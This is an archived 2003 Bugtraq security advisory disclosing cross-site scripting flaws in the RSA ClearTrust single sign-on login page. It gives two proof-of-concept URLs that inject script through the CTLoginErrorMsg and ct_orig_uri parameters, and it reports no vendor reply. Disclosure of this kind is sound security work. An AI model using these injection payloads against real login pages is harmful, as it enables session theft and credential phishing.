bugtraq - @(#)Mordred Security Labs - RSA ClearTrust Cross Site Scripting issues

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 14 Mar 2003 18:42:02 -0800
From: sir.mordred@...hmail.com
To: bugtraq@...urityfocus.com
Subject: @(#)Mordred Security Labs - RSA ClearTrust Cross Site Scripting issues

-----BEGIN PGP SIGNED MESSAGE-----

//@(#) Mordred Security Labs advisory

Release date: March 14, 2003
Name: RSA ClearTrust Cross Site Scripting issues
Risk: low
Author: Sir Mordred (mordred@...ail.com, http://mslabs.iwebland.com)

I. Description:

The RSA ClearTrust is a Web access management solution that helps enable
secure access to Web-based resources. RSA ClearTrust software is designed
to work within intranets, extranets, portals and exchange infrastructures &#8212;
all while providing users with transparent, single sign-on (SSO) across multiple applications.
For more info please visit http://www.rsasecurity.com

II. Details:

RSA ClearTrust login page suffers from a Cross Site Scripting vulnerabilities:

https://victim.com/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)</script>

https://victim.com/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=">< script>alert(1)/script><"

III. Vendor

Vendor contacted, no reply.

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify

wmAEARECACAFAj5yknAZHHNpci5tb3JkcmVkQGh1c2htYWlsLmNvbQAKCRAOkXvN4BZr
fK6cAKCMG8J4k6yFPKygmrnr2MCjU67OWwCgl5f8o2DfGCqKhpa3NVuORqdBruI=
=771N
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2 

Big $$$ to be made with the HushMail Affiliate Program: 
https://www.hushmail.com/about.php?subloc=affiliate&l=427